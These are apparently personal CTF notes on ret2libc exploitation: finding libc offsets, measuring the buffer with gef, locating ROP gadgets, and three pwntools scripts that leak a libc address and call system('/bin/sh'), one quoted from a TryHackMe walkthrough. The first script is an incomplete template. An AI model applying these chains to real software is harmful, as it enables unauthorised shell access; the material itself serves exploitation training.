# Ret2libc * [ir0nstone ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc) * Check binary via * `checksec`, PIE shows start address, RELRO shows permissions of r/w to got * `file` * Libc is affected by ASLR state of the machine, check via `cat /proc/sys/kernel/randomize_va_space` * Off = 0 * Partial = 1 * Full = 2 * `got` contains dynamically loaded functions * `plt` contains used loaded dynamical functions ## Finding something to execute * Interesting stuff to call from inside libc * `/bin/sh` * `system` ## libc -- Finding Offsets * Find libc address at runtime via gbd ```sh info sharedlibrary ``` or statically via ldd ```sh ldd ./ ``` ### Find offsets to gadgets in libc * On target find `sh` address inside libc ```sh strings -a -t x /lib32/libc.so.6 | grep /bin/sh ``` * Sub from `system` address from inside libc ```sh readelf -s /lib32/libc.so.6 | grep system | awk '{print $2}' ``` * Pwntools can be used as well ```sh libc = elf.libc libc.address = 0x7ff83d8d000 system = libc.sym['system'] bin_sh = next(libc.search(b'/bin/sh')) ``` ### Measure the Buffer * With gef * `pattern create` * `run` * Use pattern * `pattern search $` ## ROP -- Creating a Chain * Creating a ROP chain to execute the `/bin/sh` with parameters * Check * Architecture * Calling convention ### Manually ```sh ROPgadget --binary | grep rdi ``` * Find `ret`s, to put in front of rdi ```sh objdump -d | grep ret ``` ## Automated * [xct's ropstar](https://github.com/xct/ropstar.git) ## Examples ### Example without ASLR ```python from pwn import * p = process('') cbase = 0x sys = cbase + sh = cbase + rop_rdi = rop_ret = payload = b'A' * payload += b'B' * 8 payload += p64(rop_rdi) payload += p64(sh) payload += p64(0x0) # maybe rop_ret payload += p64(system) p.recv() p.sendline(payload) p.interactive() ``` ### Example with ASLR * Create context ```python #!/usr/bin/env python3 from pwn import * context.binary = binary = '' elf = ELF(binary) rop = ROP(elf) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process() # ROP I, needed when ASLR is enabled payload = b'A' * 18 payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0]) payload += p64(elf.got.gets) payload += p64(elf.plt.puts) payload += p64(elf.symbols.main) p.recvline() p.sendline(payload) p.recvline() leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement p.recvline() log.info(f"gets: {hex(leak)}") libc.address = leak - libc.symbols.gets log.info(f"libc address: {hex(libc.address)}") # start address should be aligned # ROP II payload = b'A' * 18 payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0]) payload += p64(next(libc.search(b'/bin/sh'))) payload += p64(rop.find_gadget(['ret'])[0]) payload += p64(libc.symbols.system) p.sendline(payload) p.recvline() p.interactive() ``` ### Example: exploit_me This is taken from [shoulderhu's gitbook](https://github.com/shoulderhu/gitbook-tryhackme/blob/master/walkthroughs/medium/ret2libc.md) The libc base is found through a delta of the leaked value and libc gets symbol offset. ```python from pwn import * context.binary = binary = './exploit_me' elf = ELF(binary) rop = ROP(elf) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') padding = b'A' * 18 payload = padding payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0]) payload += p64(elf.got.gets) payload += p64(elf.plt.puts) payload += p64(elf.symbols.main) p = process() p.recvline() p.sendline(payload) p.recvline() leak = u64(p.recvline().strip().ljust(8, b'\0')) p.recvline() log.info(f'Gets leak => {hex(leak)}') libc.address = leak - libc.symbols.gets log.info(f'Libc base => {hex(libc.address)}') payload = padding payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0]) payload += p64(next(libc.search(b'/bin/sh'))) payload += p64(rop.find_gadget(['ret'])[0]) payload += p64(libc.symbols.system) p.sendline(payload) p.recvline() p.interactive() ```